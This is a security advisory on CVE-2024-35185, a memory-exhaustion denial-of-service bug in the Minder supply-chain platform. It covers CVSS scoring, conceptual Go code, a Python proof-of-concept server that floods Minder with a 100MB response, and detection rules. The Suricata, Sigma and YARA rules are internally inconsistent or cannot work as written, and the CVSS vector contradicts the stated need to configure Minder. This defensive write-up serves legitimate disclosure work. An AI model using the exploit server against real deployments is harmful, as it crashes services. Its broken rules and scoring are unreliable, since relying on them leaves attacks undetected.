CVE-2024-35185

Executive Summary

CVE-2024-35185 is a denial of service (DoS) vulnerability in Minder, a software supply chain security platform. The vulnerability resides in the REST ingester component, which allows users to fetch data from external REST endpoints for rule evaluation. An attacker can configure a malicious REST endpoint that returns an excessively large response body. When Minder sends a request to this endpoint, the large response can exhaust server memory, causing the Minder server to crash. This attack requires the attacker to control the remote REST endpoint and instruct Minder to query it. The vulnerability is fixed in version 0.0.49.

Supply Chain & Package Security

Minder is a Go-based application. The vulnerability does not directly affect a package registry (NPM, PyPI, RubyGems) but impacts the Minder server itself, which is a critical component in a software supply chain security platform. A successful DoS attack can disrupt supply chain monitoring and rule evaluation, potentially allowing malicious artifacts to go undetected during the outage.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector (AV): Network – The attacker can trigger the vulnerability remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component is the only affected system.
• Confidentiality (C): None – No data exposure.
• Integrity (I): None – No data modification.
• Availability (A): Low – The server can be crashed, causing service disruption.

Threat Level: Medium. The attack requires the attacker to control a REST endpoint and have the ability to instruct Minder to query it. This limits the attack surface but is still a realistic threat in environments where Minder is configured to fetch data from untrusted sources.

Deep Dive & Mechanics

The Minder REST ingester is designed to fetch data from external REST endpoints for rule evaluation. The vulnerability is a classic resource exhaustion issue (CWE-400). The ingester does not impose limits on the size of the HTTP response body it processes. An attacker can:

1. Set up a malicious REST endpoint that returns a very large response body (e.g., gigabytes of data).
2. Configure Minder to send a request to this endpoint (e.g., via a rule that references the attacker's URL).
3. When Minder fetches the data, the large response is loaded into memory, causing memory exhaustion and crashing the server.

The fix in version 0.0.49 likely introduces a maximum response size limit or streaming processing to prevent memory exhaustion.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// No size limit on response body
resp, err := http.Get(url)
if err != nil {
    return err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body) // Reads entire body into memory
if err != nil {
    return err
}
// Process body...

Patched Code (Conceptual):

// Limit response body size
resp, err := http.Get(url)
if err != nil {
    return err
}
defer resp.Body.Close()
// Limit to 10MB
limitedReader := io.LimitReader(resp.Body, 10*1024*1024)
body, err := io.ReadAll(limitedReader)
if err != nil {
    return err
}
// Process body...

Exploitation & Lab Setup

Red Team

Prerequisites:

• Ability to host a malicious REST endpoint (e.g., a simple HTTP server).
• Ability to configure Minder to query the malicious endpoint (e.g., via a rule or configuration).

Exploitation Steps:

1. Set up a malicious HTTP server that returns a large response body. Example using Python:

   from http.server import HTTPServer, BaseHTTPRequestHandler
   class Handler(BaseHTTPRequestHandler):
       def do_GET(self):
           # Return 100MB of data
           self.send_response(200)
           self.send_header('Content-Type', 'application/octet-stream')
           self.end_headers()
           self.wfile.write(b'A' * 100 * 1024 * 1024)
   server = HTTPServer(('0.0.0.0', 8080), Handler)
   server.serve_forever()
   

2. Configure Minder to use this endpoint in a rule (e.g., via a REST ingester configuration).
3. Trigger the rule evaluation. Minder will fetch the large response, causing memory exhaustion and a crash.

Expected Outcome: Minder server process terminates due to out-of-memory (OOM) kill or crash.

Blue Team

Detection:

• Monitor for unusually large HTTP response bodies in Minder's outbound requests.
• Alert on Minder server crashes or OOM events.
• Use network monitoring to detect connections to suspicious or unknown endpoints.

Prevention:

• Apply the patch (upgrade to version 0.0.49 or later).
• Implement network segmentation to restrict Minder's outbound traffic to trusted endpoints only.
• Use a web application firewall (WAF) or proxy to enforce response size limits.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests from Minder to attacker-controlled IPs/domains with unusually large response sizes.
• System: Minder server process crashes, OOM killer logs, high memory usage before crash.
• Logs: Minder logs showing http.Get or io.ReadAll calls with large response sizes.

Detection Engineering

YARA Rule

rule CVE_2024_35185_Minder_DoS {
    meta:
        description = "Detects Minder server crash due to large HTTP response"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-35185"
    strings:
        $s1 = "io.ReadAll" nocase
        $s2 = "http.Get" nocase
        $s3 = "out of memory" nocase
    condition:
        any of ($s1, $s2) and $s3
}

Sigma Rule

title: Minder DoS via Large HTTP Response
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects Minder server crash due to large HTTP response body
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/minder-server'
        CommandLine|contains: 'out of memory'
    condition: selection
falsepositives:
    - Legitimate large responses from trusted endpoints
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35185 Minder DoS - Large HTTP Response"; flow:to_client; content:"HTTP/1.1 200 OK"; http_response_line; content:!"Content-Length"; http_header_names; pcre:"/Content-Length:\s*\d{7,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade Minder to version 0.0.49 or later.
• If upgrade is not possible, implement a reverse proxy or API gateway that enforces a maximum response size (e.g., 10MB) for Minder's outbound requests.

Long-term:

• Review all REST ingester configurations and ensure endpoints are trusted.
• Implement input validation and resource limits in the codebase.
• Monitor for similar vulnerabilities in other components.

Workarounds:

• Restrict Minder's outbound network access to only allow connections to known, trusted endpoints.
• Use a web application firewall (WAF) to block responses exceeding a size threshold.

Valters IT
DevSecOps & Cyber Threat Intelligence